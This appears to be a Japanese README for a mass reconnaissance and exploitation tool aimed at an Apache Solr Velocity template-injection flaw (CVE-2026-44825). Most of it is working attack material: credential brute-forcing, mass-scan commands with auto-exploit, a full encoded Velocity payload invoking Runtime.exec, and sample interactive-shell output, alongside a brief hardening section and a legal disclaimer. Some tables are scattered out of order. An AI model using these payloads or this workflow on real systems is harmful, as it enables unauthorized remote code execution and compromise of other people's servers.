
☄️ Apache Solr CVE-2026-44825 向けの大規模偵察およびエクスプロイトフレームワーク — VelocityテンプレートインジェクションによるRCE
CVE-2026-44825 は Apache Solr における深刻度「Critical」の脆弱性であり、攻撃者が Velocity テンプレートインジェクションを通じて認証なしのリモートコード実行 (RCE) を達成することを可能にします。
Apache Solr の /select エンドポイントは、ユーザーが指定した Velocity テンプレートを描画する wt=velocity パラメータを受け入れます。Velocity Response Writer が有効な場合(または設定 API を介して有効化できる場合)、攻撃者は java.lang.Runtime.exec() を呼び出す悪意のあるテンプレートを注入し、Solr プロセスの権限で任意のシステムコマンドを実行できます。
| 攻撃ベクトル | 深刻度 | 影響 |
|---|---|---|
| 認証なし RCE | 9.8 (Critical) | システム全体の完全な侵害 |
| 認証済み RCE |
Apache Solr には、レスポンス描画用のオプションのテンプレートエンジンとして Apache Velocity がバンドルされています。この脆弱性は、ユーザーが制御するテンプレートパラメータを適切なサニタイズなしに処理する Solr の VelocityResponseWriter に存在し、Java リフレクション API の直接呼び出しを可能にします:
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
注記: バージョンチェックは、
/admin/info/systemの JSON レスポンスを解析して自動的に実行されます。
# Clone the repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Install dependencies
pip install -r requirements.txt
# Verify
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
標準ライブラリ +
requestsのみ。特殊な依存関係はありません。
CVE-2026-44825 Apache Solr Scanner
-t, --target Single target URL or IP[:port]
-f, --file File containing targets (one per line, # for comments)
--exploit Auto-exploit if vulnerable credentials are found
--rce Launch interactive shell after authentication
-u, --user Username for Basic Auth
-pw, --password Password for Basic Auth
-o, --output JSON output file path (default: solr_results.json)
-w, --workers Number of concurrent threads (default: 30)
-T, --timeout HTTP request timeout (seconds) (default: 8)
# Single target
python solr_scanner.py -t 192.168.1.100:8983
# Single target with custom path
python solr_scanner.py -t http://example.com/solr
# Mass scan from file
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — supports comments and blank lines
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR not supported; pre-expand with external tool)
# Scan + auto-exploit if creds found
python solr_scanner.py -f targets.txt --exploit
# Known credentials + interactive shell
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Auto brute-force + shell on success
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Done. Total:3 | Solr:3 | Vuln:1
3 つのターゲットすべてが検出されました。9.4.1 インスタンスは Basic 認証が有効で、脆弱としてフラグ付けされています。
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
デフォルト認証情報
admin:SolrRocksにより Solr 管理 API へのアクセスが許可されます。4 つのコレクションが発見されました。
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
Solr Java プロセスの権限を持つ完全な対話型シェルアクセスが得られます。
生の HTTP 通信を理解したい研究者向け:
ステップ 1 — Solr に到達できることを確認
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
ステップ 2 — 利用可能なコレクションを一覧表示
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
ステップ 3 — Velocity テンプレートインジェクションでコマンドを実行
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
デコードされた Velocity テンプレートペイロード:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
レスポンス:
uid=8983(solr) gid=8983(solr) groups=8983(solr)
┌──────────────────────────────────────────────────────┐
│ SOLRRADAR │
├───────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Detect │──┼──▶ Brute- │───▶│ Velocity RCE │ │
│ │ Solr │ │ │ force │ │ Template Inj. │ │
│ └────┬────┘ │ └────┬─────┘ └───────┬────────┘ │
│ │ │ │ │ │
│ ▼ │ ▼ ▼ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Version │ │ │ Default │ │ Runtime.exec() │ │
│ │ Check │ │ │ Creds │ │ → RCE │ │
│ └─────────┘ │ └──────────┘ └────────────────┘ │
│ │ │
│ ┌─────────┐ │ ┌────────────────────────────────┐ │
│ │ Auth │ │ │ Interactive Shell (--rce) │ │
│ │ Probe │ │ └────────────────────────────────┘ │
│ └─────────┘ │ │
└───────────────┴──────────────────────────────────────┘
Target URL
│
▼
┌─────────────┐
│ normalize │ → add http:// + /solr if missing
└──────┬──────┘
│
▼
┌─────────────┐ No
│ GET /admin/ ├──────── Skip target
│ info/system │
└──────┬──────┘
│ Yes (200/401)
▼
┌─────────────┐
│ Parse JSON │ → extract solr-spec-version
│ fingerprint │
└──────┬──────┘
│
▼
┌─────────────┐
│ is_vuln() │ → 9.4–9.10.x or 10.0.0 ?
└──────┬──────┘
│
├── Not vuln → Report, move on
│
▼ Vuln
┌─────────────┐
│ Auth check │ → /admin/cores?action=STATUS
│ (3-stage) │ → /admin/collections?action=LIST
└──────┬──────┘
│
├── No auth → Try unauthenticated listing
│
▼ Auth detected
┌─────────────┐
│ Brute-force │ → 4 users × 8 passwords = 32 attempts
│ credentials │
└──────┬──────┘
│
├── No match → Report vuln (no creds)
│
▼ Creds found
┌─────────────┐
│ List cols / │ → /admin/collections or /admin/cores
│ cores │
└──────┬──────┘
│
▼
┌─────────────┐
│ RCE via │ → POST /{collection}/select
│ Velocity │ → Velocity template → Runtime.exec()
└─────────────┘
bool(Response[401]) == False が重要なのか開発中に発見された Python の微妙な落とし穴:
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False # ← 4xx/5xx responses evaluate to False!
つまり、すべての if response and ... チェックは、401 を明示的に処理したい場合でも、エラーレスポンスを黙ってスキップしてしまいます。修正方法は常に if response is not None and ... を使用することです:
# ❌ Broken — 401 responses are silently skipped
if r and r.status_code == 401:
auth = True
# ✅ Correct — explicitly check for None
if r is not None and r.status_code == 401:
auth = True
このスキャナーは、見逃し(偽陰性)を最小限に抑えるため、3 層の検出戦略 を使用します:
'solr' in response.text.lower()
JSON キー("solr_home"、"solr-spec-version"、"mode":"solrcloud")、HTML ダッシュボード、エラーページ内の Solr を検出します — 大文字小文字を区別しません。
'solr' in response.headers.get('Server', '').lower()
一部のデプロイメントでは、HTTP Server ヘッダーに "Solr" が含まれます。
# Stage 1: Check /admin/info/system response code
# Stage 2: Probe /admin/cores?action=STATUS for 401
# Stage 3: Probe /admin/collections?action=LIST for 401
/admin/info/system は公開されているが管理操作には認証が必要なデプロイメントを検出します。
堅牢性のための 2 つの正規表現パターン:
VERSION_RE = [
r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version
r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version
]
Apache Solr を運用している場合は、直ちに 以下の堅牢化対策を適用してください:
# Upgrade to a patched version
# Solr 9.x → 9.10.2 or later
# Solr 10.x → 10.0.1 or later
<!-- In solrconfig.xml — REMOVE or COMMENT OUT: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->
# Restrict access to Solr admin endpoints at the network level
# Only allow trusted IP ranges to access ports 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP
# Use this scanner against your OWN infrastructure
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json
🚨 教育および許可されたテスト目的専用
本ソフトウェアは、教育目的および正当なセキュリティ研究のためにのみ提供されます。以下を目的とする利用を想定しています:
- 🛡️ 許可を受けた侵入テストを実施するセキュリティ専門家
- 🏢 自社の Apache Solr インフラストラクチャを監査する組織
- 🔬 脆弱性の悪用技術を研究する研究者
- 🎓 Web アプリケーションセキュリティを学ぶ学生
❌ 本ソフトウェアを以下の目的に使用することはできません:
- 明示的な書面による許可なしにコンピュータシステムへアクセスすること
- 所有していないシステムを侵害、破壊、または妨害すること
- いかなる種類の違法行為に従事すること
⚖️ 法的通知
コンピュータシステムへの不正アクセスは、以下を含む(ただしこれらに限定されない)法律に違反します:
- 米国: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- インドネシア: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- 欧州連合: Directive 2013/40/EU
- 英国: Computer Misuse Act 1990
著作者は、本ツールの使用に起因する誤用、損害、または法的結果について一切の責任を負いません。本ソフトウェアを使用することにより、あなたは自己の行為に対して単独で責任を負うことを認め、適用されるすべての法律を遵守することに同意したものとみなされます。
⚡ セキュリティ研究コミュニティのために精密に構築されました ⚡
Apache® および Apache Solr® は Apache Software Foundation の登録商標です。
このプロジェクトは Apache Software Foundation とは提携しておらず、その承認も受けていません。
| 認証後のコード実行 |
| 情報漏えい | 5.3 (Medium) | コア/コレクションの列挙 |
| Apache Solr バージョン | ステータス | 備考 |
|---|
| 9.4.0 – 9.10.1 | 🔴 脆弱 | 実環境で活発に悪用されている |
| 10.0.0 | 🔴 脆弱 | 最初の 10.x リリースが影響を受ける |
| 10.0.1+ | 🟢 パッチ適用済み | 修正がバックポートされた |
| 9.10.2+ | 🟢 パッチ適用済み | パッチリリースが利用可能 |
| ≤ 9.3.x | 🟢 影響なし | Velocity Response Writer が存在しない |
| 8.x (すべて) | 🟢 影響なし | Velocity をサポートしていない |
🔍 偵察
|
💀 エクスプロイト
|
| リソース | リンク |
|---|
| NVD エントリ | CVE-2026-44825 |
| Apache Solr セキュリティ | solr.apache.org/security |
| Solr Velocity ドキュメント | Velocity Response Writer |
| OWASP テンプレートインジェクション | サーバーサイドテンプレートインジェクション |